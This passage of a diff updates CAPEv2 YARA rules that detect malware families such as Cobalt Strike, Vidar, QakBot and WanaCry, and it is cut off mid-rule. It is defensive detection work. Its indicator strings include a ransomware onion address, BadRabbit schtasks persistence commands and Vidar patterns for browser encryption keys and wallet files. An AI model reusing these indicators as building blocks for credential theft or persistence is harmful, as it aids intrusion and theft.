"https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/CobaltStrikeStager.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6a55b0c3ab5f557dfb7a3f8bd616ede1bd9b93198590fc9d52aa19c1154388c5" score = 75 quality = 70 tags = "" - cape_type = "TrickBot Payload" - - strings: - $str1 = "*" ascii wide - $str2 = "group_tag" ascii wide - $str3 = "client_id" ascii wide - $code1 = {8A 11 88 54 35 F8 46 41 4F 89 4D F0 83 FE 04 0F 85 7E 00 00 00 8A 1D ?? ?? ?? ?? 33 F6 8D 49 00 33 C9 84 DB 74 1F 8A 54 35 F8 8A C3 8D 64 24 00} - $code2 = {8B 4D FC 8A D1 02 D2 8A C5 C0 F8 04 02 D2 24 03 02 C2 88 45 08 8A 45 FE 8A D0 C0 FA 02 8A CD C0 E1 04 80 E2 0F 32 D1 8B 4D F8 C0 E0 06 02 45 FF 88 55 09 66 8B 55 08 66 89 11 88 41 02} - $code3 = {0F B6 54 24 49 0F B6 44 24 48 48 83 C6 03 C0 E0 02 0F B6 CA C0 E2 04 C0 F9 04 33 DB 80 E1 03 02 C8 88 4C 24 40 0F B6 4C 24 4A 0F B6 C1 C0 E1 06 02 4C 24 4B C0 F8 02 88 4C 24 42 24 0F} - $code4 = {53 8B 5C 24 18 55 8B 6C 24 10 56 8B 74 24 18 8D 9B 00 00 00 00 8B C1 33 D2 F7 F3 41 8A 04 2A 30 44 31 FF 3B CF 75 EE 5E 5D 5B 5F C3} - $code5 = {50 0F 31 C7 44 24 04 01 00 00 00 8D 0C C5 00 00 00 00 F7 C1 F8 07 00 00 74 1B 48 C1 E2 20 48 8B C8 48 0B CA 0F B6 C9 C1 E1 03 F7 D9 C1 64 24 04 10 FF C1 75 F7 59 C3} - $code6 = {53 8B 5C 24 0C 56 8B 74 24 14 B8 ?? ?? ?? ?? F7 E9 C1 FA 02 8B C2 C1 E8 1F 03 C2 6B C0 16 8B D1 2B D0 8A 04 1A 30 04 31 41 3B CF 75 DD 5E 5B 5F C3} - $code7 = {B8 ?? ?? 00 00 85 C9 74 32 BE ?? ?? ?? ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 03 F2 8B 2B 83 C3 04 33 2F 83 C7 04 89 29 83 C1 04 3B DE 0F 43 DA} + cape_type = "CobaltStrikeStager Payload" + + strings: + $smb = { 68 00 B0 04 00 68 00 B0 04 00 6A 01 6A 06 6A 03 52 68 45 70 DF D4 } + $http_x86 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 } + $http_x64 = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 } + $dns = { 68 00 10 00 00 68 FF FF 07 00 6A 00 68 58 A4 53 E5 } condition: - all of ( $str* ) or any of ( $code* ) + any of them } -rule CAPE_Trickbot_Permadll_UEFI_Module +rule CAPE_Doppelpaymer : FILE { meta: - description = "Detects TrickBot Banking module permaDll" - author = "@VK_Intel | Advanced Intelligence" - id = "ba104164-0a1a-5a4c-8312-7653f7818e96" - date = "2019-10-30" - modified = "2023-02-07" + description = "DoppelPaymer Payload" + author = "kevoreilly" + id = "c8178906-1722-5908-9ad4-7ee1eef39138" + date = "2019-11-15" + modified = "2022-06-27" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/TrickBot.yar#L22-L38" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "491115422a6b94dc952982e6914adc39" - logic_hash = "564055f56fd19bed8900e6d451ba050b4e9013a9208a3bdc3d3d563567d225d2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/DoppelPaymer.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "73a2575671bafc31a70af3ce072d6f94ae172b12202baebba586a02524cb6f9d" score = 75 quality = 70 - tags = "" + tags = "FILE" + cape_type = "DoppelPaymer Payload" strings: - $module_cfg = "moduleconfig" - $str_imp_01 = "Start" - $str_imp_02 = "Control" - $str_imp_03 = "FreeBuffer" - $str_imp_04 = "Release" - $module = "user_platform_check.dll" - $intro_routine = { 83 ec 40 8b ?? ?? ?? 53 8b ?? ?? ?? 55 33 ed a3 ?? ?? ?? ?? 8b ?? ?? ?? 56 57 89 ?? ?? ?? a3 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? ?? 89 ?? ?? ?? 50 6a 40 8d ?? ?? ?? ?? ?? 55 e8 ?? ?? ?? ?? 85 c0 78 ?? 8b ?? ?? ?? 85 ff 74 ?? 47 57 e8 ?? ?? ?? ?? 8b f0 59 85 f6 74 ?? 57 6a 00 56 e8 ?? ?? ?? ?? 83 c4 0c eb ??} + $getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3} + $cmd_string = "Setup run\\n" wide condition: - 6 of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Gootkit : FILE +rule CAPE_Monsterv2 : FILE { meta: - description = "Gootkit Payload" - author = "kevoreilly" - id = "8935fd10-ac79-5196-80c2-fc8f2fe185b5" - date = "2019-10-30" - modified = "2019-10-30" + description = "MonsterV2 Payload" + author = "doomedraven,YungBinary" + id = "4bc3546f-34ad-579e-9822-272a2b3c74e2" + date = "2025-09-06" + modified = "2025-09-12" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Gootkit.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "26704b6b0adca51933fc9d5e097930320768fd0e9355dcefc725aee7775316e7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/MonsterV2.yar#L1-L21" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d4e65f860e69b2eee8a818a4146d91b84ce6da30c8fa27593587932e4f0847a8" score = 75 quality = 70 tags = "FILE" - cape_type = "Gootkit Payload" + cape_type = "MonsterV2 Payload" + packed = "fe69e8db634319815270aa0e55fe4b9c62ce8e62484609c3a42904fbe5bb2ab3" strings: - $code1 = {C7 45 ?? ?? ?? 4? 00 C7 45 ?? ?? 10 40 00 C7 45 E? D8 ?? ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 [1-2] 00 10 40 00 89 [5-6] 43 00 89 ?? ?? 68 E8 80 00 00 FF 15} + $decrypt_config = { + 41 B8 0E 04 00 00 + 48 8D 15 ?? ?? ?? 00 + 48 8B C? + E8 ?? ?? ?? ?? [3-17] + 4C 8B C? + 48 8D 54 24 28 + 48 8B CE + E8 ?? ?? ?? ?? + } condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and $decrypt_config } -rule CAPE_Nanolocker : FILE +rule CAPE_Varenyky : FILE { meta: - description = "NanoLocker Payload" + description = "Varenyky Payload" author = "kevoreilly" - id = "6fff6a27-a153-5461-9a75-2253c2f7d408" + id = "e01695fa-72a0-5d8e-86ab-8c909d28b8ec" date = "2019-10-30" modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/NanoLocker.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "fe6c8a4e259c3c526f8f50771251f6762b2b92a4df2e8bfc705f282489f757db" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Varenyky.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "602f1b8b60b29565eabe2171fde4eb58546af68f8acecad402a7a51ea9a08ed9" score = 75 quality = 70 tags = "FILE" - cape_type = "NanoLocker Payload" + cape_type = "Varenyky Payload" strings: - $a1 = "NanoLocker" - $a2 = "$humanDeadline" - $a3 = "Decryptor.lnk" + $onion = "jg4rli4xoagvvmw47fr2bnnfu7t2epj6owrgyoee7daoh4gxvbt3bhyd.onion" condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5A4D and ( $onion ) } -rule CAPE_Ryuk : FILE +rule CAPE_Bruteratel { meta: - description = "Ryuk Payload" + description = "BruteRatel Payload" author = "kevoreilly" - id = "594bbb8d-1f85-5a01-a864-ac2d95c45bf9" - date = "2019-10-30" - modified = "2019-10-30" + id = "61b951e4-0c27-59c0-8ea2-715b673fdcee" + date = "2024-07-11" + modified = "2024-07-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Ryuk.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "b4463993d8956e402b927a3dcfa2ca9693a959908187f720372f2d3a40e6db0c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/BruteRatel.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0984977c716d6f8e068c045166eb5db77c9fbce27513e555dceca348375f1a66" score = 75 quality = 70 - tags = "FILE" - cape_type = "Ryuk Payload" + tags = "" + cape_type = "BruteRatel Payload" strings: - $ext = ".RYK" wide - $readme = "RyukReadMe.txt" wide - $main = "InvokeMainViaCRT" - $code = {48 8B 4D 10 48 8B 03 48 C1 E8 07 C1 E0 04 F7 D0 33 41 08 83 E0 10 31 41 08 48 8B 4D 10 48 8B 03 48 C1 E8 09 C1 E0 03 F7 D0 33 41 08 83 E0 08 31 41 08} + $syscall1 = {49 89 CA 4? 89 ?? (41 FF|FF)} + $syscall2 = {49 89 CA 48 8B 44 24 ?? FF 64 24} + $jmpapi = {49 89 ?? 10 49 C7 45 08 ?? 00 00 00 E8 00 00 00 00 ?? (48|49) 83 [2] 41 FF E2} + $decode = {89 C2 8A 14 17 40 38 EA 75 06 FF C0 89 03 EB 0B 41 88 14 08 48 FF C1 FF 03 EB} condition: - uint16( 0 ) == 0x5A4D and 3 of ( $* ) + 2 of them } -rule CAPE_Badrabbit : FILE +rule CAPE_Wanacry : FILE { meta: - description = "BadRabbit Payload" + description = "WanaCry Payload" author = "kevoreilly" - id = "c7204772-6f14-57b7-88c1-e9156f9897d5" + id = "a6525e0f-fccd-5542-9be8-e42d708fe502" date = "2019-10-30" - modified = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/BadRabbit.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "309e14ab4ea2f919358631f9d8b2aaff1f51e7708b6114e4e6bf4a9d9a5fc86c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/WanaCry.yar#L1-L16" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "16d5e39f043d27bbf22f8f21e13971b7e0709b07e44746dd157d11ee4cc51944" score = 75 quality = 70 tags = "FILE" - cape_type = "BadRabbit Payload" + cape_type = "WanaCry Payload" strings: - $a1 = "caforssztxqzf2nm.onion" wide - $a2 = "schtasks /Create /SC once /TN drogon /RU SYSTEM" wide - $a3 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal" wide + $exename = "@WanaDecryptor@.exe" + $res = "%08X.res" + $pky = "%08X.pky" + $eky = "%08X.eky" + $taskstart = {8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53} condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Conti : FILE +rule CAPE_Vidar : FILE { meta: - description = "Conti Ransomware" - author = "kevoreilly" - id = "c94aed07-0eaf-5b51-a81e-e1992543673a" - date = "2020-10-19" - modified = "2021-03-15" + description = "Vidar Payload" + author = "kevoreilly,rony" + id = "9e4e797f-880e-54eb-ad44-caad0ec5683c" + date = "2019-10-30" + modified = "2023-04-21" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Conti.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "c9842f93d012d0189b9c6f10ad558b37ae66226bbb619ad677f6906ccaf0e848" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Vidar.yar#L1-L22" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5d4c030536ed41cf4e0dcb77b2fe4553d789ee2b8095a4b3e050692335a8709d" score = 75 quality = 70 tags = "FILE" - cape_type = "Conti Payload" + cape_type = "Vidar Payload" + packed = "0cff8404e73906f3a4932e145bf57fae7a0e66a7d7952416161a5d9bb9752fd8" strings: - $crypto1 = {8A 07 8D 7F 01 0F B6 C0 B9 ?? 00 00 00 2B C8 6B C1 ?? 99 F7 FE 8D [2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD} - $website1 = "https://contirecovery.info" ascii wide - $website2 = "https://contirecovery.best" ascii wide + $decode = {FF 75 0C 8D 34 1F FF 15 ?? ?? ?? ?? 8B C8 33 D2 8B C7 F7 F1 8B 45 0C 8B 4D 08 8A 04 02 32 04 31 47 88 06 3B 7D 10 72 D8} + $xor_dec = {0F B6 [0-5] C1 E? ?? 33 ?? 81 E? [0-5] 89 ?? 7C AF 06} + $wallet = "*wallet*.dat" fullword ascii wide + $s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii wide + $s2 = "screenshot.jpg" fullword ascii wide + $s3 = "\\Local State" fullword ascii wide + $s4 = "Content-Disposition: form-data; name=\"" fullword ascii wide + $s5 = "CC\\%s_%s.txt" fullword ascii wide + $s6 = "History\\%s_%s.txt" fullword ascii wide + $s7 = "Autofill\\%s_%s.txt" fullword ascii wide + $s8 = "Downloads\\%s_%s.txt" fullword ascii wide condition: - uint16( 0 ) == 0x5A4D and any of them + uint16be( 0 ) == 0x4d5a and 6 of them } -rule CAPE_Codoso : FILE +rule CAPE_Cerber : FILE { meta: - description = "Codoso Payload" + description = "Cerber Payload" author = "kevoreilly" - id = "4c3d8d77-ffa9-576d-bf88-7b5a1bfd1811" + id = "edf08795-cf54-5822-8bc4-35cfba0fe8e8" date = "2019-10-30" - modified = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Codoso.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "32c9ed2ac29e8905266977a9ee573a252442d96fb9ec97d88642180deceec3f8" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Cerber.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "16a8f808c28d3b142c079a305aba7f553f2452e439710bf610a06f8f2924d5a3" score = 75 quality = 70 tags = "FILE" - cape_type = "Codoso Payload" + cape_type = "Cerber Payload" strings: - $a1 = "WHO_A_R_E_YOU?" - $a2 = "DUDE_AM_I_SHARP-3.14159265358979" - $a3 = "USERMODECMD" + $code1 = {33 C0 66 89 45 8? 8D 7D 8? AB AB AB AB AB [0-2] 66 AB 8D 45 8? [0-3] E8 ?? ?? 00 00} condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Cryptoshield : FILE +rule CAPE_Adaptixbeacon { meta: - description = "Cryptoshield Payload" - author = "kevoreilly" - id = "a7b60a0d-7d46-59c9-8273-ee23bae3fbbc" - date = "2019-10-30" - modified = "2019-10-30" + description = "AdaptixBeacon Payload" + author = "enzok" + id = "ae0bc10c-cfcd-59d4-8c24-34a03debe370" + date = "2025-06-16" + modified = "2025-10-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Cryptoshield.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "46064b4c69cb1af01330c5d194ef50728e0f0479e9fbf72828822935f8e37ac6" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AdaptixBeacon.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "f78f5803be5704420cbb2e0ac3c57fcb3d9cdf443fbf1233c069760bee115b5d" + logic_hash = "2c1d09cd5e19e5a09dde65411691afd5922959d4a7b5232b28ebf56f26d2f07d" score = 75 quality = 70 - tags = "FILE" - cape_type = "Cryptoshield Payload" + tags = "" + cape_type = "AdaptixBeacon Payload" strings: - $a1 = "CRYPTOSHIELD." wide - $a2 = "Click on Yes in the next window for restore work explorer" wide - $a3 = "r_sp@india.com - SUPPORT" + $conf_1 = {8D ?? ?? E8 [3] 00 4? 89 [1-2] 4? 8B 4C 24 ?? E8 [3] 00 4? 8B 53 48 66 [0-1] 89 04 ?? E8} + $conf_2 = {E8 [3] 00 48 8B 4C 24 ?? 48 89 43 78 E8 [3] 00 48 8B 4C 24 ?? 89 83 80 00 00 00 E8 [3] 00 03 83 80 00 00 00 48 8B 4C 24} + $conf_3 = {E8 [3] 00 4? 8B 4C 24 ?? 4? 89 ?? 4? 89 43 58 E8 [3] 00 4? 8B 4C 24 ?? 4? 89 ?? 4? 89 43 60 E8 [3] 00 4? 8B 4C 24 ?? 4? 89 ?? 4? 89 43 68} + $conf_4 = {8D ?? ?? 4? 89 ?? FF ?? 4? 89 ?? 4? 89 ?? 4? 8B ?? FF ?? ?? 4? 8B ?? 48 66 ?? 89 ?? ?? EB} + $conf_5 = {48 89 ?? 4? 89 ?? FF ?? 4? 89 ?? 4? 89 D9 4? 89 ?? ?? 4? 8B 03 FF ?? ?? 4? 89 ?? 4? 89 ?? 4? 89 ?? ?? 4? 8B 03 FF ?? ?? 4? 89} + $wininet_1 = {B9 77 00 00 00 [0-4] E8 [4] B9 69 00 00 00 88 ?4 24 [0-4] E8 [4] B9 6E 00 00 00 88 ?4 24} + $wininet_2 = {B9 69 00 00 00 88 ?4 24 [0-4] E8 [4] B9 6E 00 00 00 88 ?4 24 [0-4] E8 [4] B9 65 00 00 00 88 ?4 24} condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + 1 of ( $conf_* ) and 1 of ( $wininet_* ) } -rule CAPE_Remcos : FILE + +rule CAPE_Netsupport : FILE { meta: - description = "Remcos Payload" - author = "kevoreilly" - id = "f77295ca-02d5-5b2c-80b8-b6566610bff8" - date = "2019-10-30" - modified = "2022-05-10" + description = "Detects NetSupport Manager RAT on disk or in memory" + author = "YungBinary" + id = "c517193e-bee3-59c4-9fbf-aad01ee13379" + date = "2025-10-17" + modified = "2025-10-17" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Remcos.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "38142e784ad437d9592353b924f74777bb62e5ed176c811230a2021a437d4710" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/NetSupport.yar#L3-L16" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d12e46d74ae0ba9f599d27dc2f55ff92a6648accbcd1a43cc3f1a9a2755e5fc7" score = 75 - quality = 68 + quality = 70 tags = "FILE" - cape_type = "Remcos Payload" + cape_type = "NetSupport Payload" strings: - $name = "Remcos" nocase - $time = "%02i:%02i:%02i:%03i" - $crypto1 = {81 E1 FF 00 00 80 79 ?? 4? 81 C9 00 FF FF FF 4? 8A ?4 8?} - $crypto2 = {0F B6 [1-7] 8B 45 08 [0-2] 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 ?? ?? FF FF 30 06 47 3B 7D 0C 72} + $a1 = "NetSupport Manager" wide + $b1 = "NetSupport Remote Control" wide + $s1 = "Client Application" wide + $s2 = "NetSupport Ltd" wide condition: - uint16( 0 ) == 0x5A4D and ( $name ) and ( $time ) and any of ( $crypto* ) + uint16( 0 ) == 0x5a4d and ( ( pe.imports ( "PCICL32.dll" , "_NSMClient32@8" ) ) or ( ( $a1 and $b1 ) or ( $s1 and $s2 ) ) ) } -rule CAPE_Rcsession +rule CAPE_Koiloader { meta: - description = "RCSession Payload" - author = "kevoreilly" - id = "841e6bd1-4f09-54dc-8dec-2e9423a34003" - date = "2019-10-30" - modified = "2019-10-30" + description = "KoiLoader" + author = "YungBinary" + id = "258e8857-7ea6-5098-9949-06d9d83853d4" + date = "2024-10-25" + modified = "2024-10-25" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/RCSession.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "ebd1e9e615a91c35b36332cad55519607323469df738cec4464288b45787630d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/KoiLoader.yar#L1-L35" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "b462e3235c7578450b2b56a8aff875a3d99d22f6970a01db3ba98f7ecb6b01a0" + logic_hash = "264a536632f8f11c904b00c9d2e505b3263c733ad8fbc2ef19c25a5ad58cef90" score = 75 quality = 70 tags = "" - cape_type = "RCSession Payload" + cape_type = "KoiLoader Payload" strings: - $a1 = {56 33 F6 39 74 24 08 7E 4C 53 57 8B F8 2B FA 8B C6 25 03 00 00 80 79 05 48 83 C8 FC 40 83 E8 00 74 19 48 74 0F 48 74 05 6B C9 09 EB 15 8B C1 C1 E8 02 EB 03 8D 04 09 2B C8} - $a2 = {83 C4 10 85 C0 74 ?? BE ?? ?? ?? ?? 89 74 24 10 E8 ?? ?? ?? ?? 6A 03 68 48 0B 00 00 56 53 57 68 02 00 00 80 E8 ?? ?? ?? ?? 83 C4 18 85 C0 74 18 E8 ?? ?? ?? ?? 6A 03 68 48} + $chunk_1 = { + 68 27 11 68 05 + 8B 45 ?? + 50 + E8 ?? ?? ?? ?? + 83 C4 08 + 89 45 ?? + 68 15 B1 B3 09 + 8B 4D ?? + 51 + E8 ?? ?? ?? ?? + 83 C4 08 + 89 45 ?? + 68 B5 96 AA 0D + 8B 55 ?? + 52 + E8 ?? ?? ?? ?? + 83 C4 08 + 89 45 ?? + 6A 00 + FF 15 ?? ?? ?? ?? + } condition: - ( any of ( $a* ) ) + $chunk_1 } -rule CAPE_Blister_1 : FILE +rule CAPE_Qakbot5_1 : FILE { meta: - description = "Blister Loader" - author = "kevoreilly" - id = "525fc600-2afc-5cf6-bf55-4ce0ea264dca" - date = "2022-05-10" - modified = "2023-09-20" + description = "QakBot v5 Payload" + author = "kevoreilly, enzok" + id = "48866cdd-f60e-50b8-85f9-573710934b0b" + date = "2019-10-30" + modified = "2024-04-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Blister.yar#L1-L17" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2" - hash = "d3eab2a134e7bd3f2e8767a6285b38d19cd3df421e8af336a7852b74f194802c" - logic_hash = "f26d85fdf0eb07e67fe38c43c5f6d024bfb7b2a333cb3411f5cdcff6bf5db12d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/QakBot.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "59559e97962e40a15adb2237c4d01cfead03623aff1725616caeaa5a8d273a35" + logic_hash = "cc23a92f45619d44af824128b743c259dd9dfa7cb5106932f3425f3dfd1dccdf" score = 75 quality = 70 tags = "FILE" - cape_type = "Blister Loader" + cape_type = "QakBot Payload" + packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2" strings: - $protect1 = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7} - $protect2 = {48 83 C9 FF 48 8D 55 ?? FF D6 48 8D 87 [2] 00 00 48 8D 4D ?? FF D0} - $lock1 = {B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75} - $lock2 = {B8 FF FF FF 7F 41 BC 01 00 00 00 89 45 40 F0 FF 4D 40 49 2B C4 75} - $decode = {0F BE C0 49 03 CC 41 33 C1 44 69 C8 [4] 41 8B C1 C1 E8 0F 44 33 C8 8A 01 84 C0 75 E1 41 81 F9 [4] 74} + $loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E} + $c2list = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 45 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8} + $campaign = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 44 24 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8} condition: uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Aurastealer +rule CAPE_Qakbot4_1 : FILE { meta: - description = "AuraStealer Payload" - author = "enzok" - id = "1fe058a8-1e87-51bb-8b5c-914442bca2e5" - date = "2025-09-02" - modified = "2025-09-02" + description = "QakBot v4 Payload" + author = "kevoreilly" + id = "d2c5316c-22cc-5b6d-b6a2-b1d23a06d16b" + date = "2019-10-30" + modified = "2024-04-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AuraStealer.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "960b83639a898509dc272f3235822401a8f861fa6607991993285b618b882d8b" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/QakBot.yar#L17-L35" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "b2870e33abffbb3ff49b7891b0f5c538ab48ee63da5553929d4e37dec921344f" score = 75 quality = 70 - tags = "" - cape_type = "AuraStealer Payload" - unpacked = "a9c47f10d5eb77d7d6b356be00b4814a7c1e5bb75739b464beb6ea03fc36cc85" - packed = "bac52ffc8072893ff26cdbf1df1ecbcbb1762ded80249d3c9d420f62ed0dc202" + tags = "FILE" + cape_type = "QakBot Payload" strings: - $conf = {8D BE ?? 00 00 00 68 00 40 00 00 5? 5? FF D1 83 C4 ?? 8B 07 8B 57 04 29 C2} - $key1 = 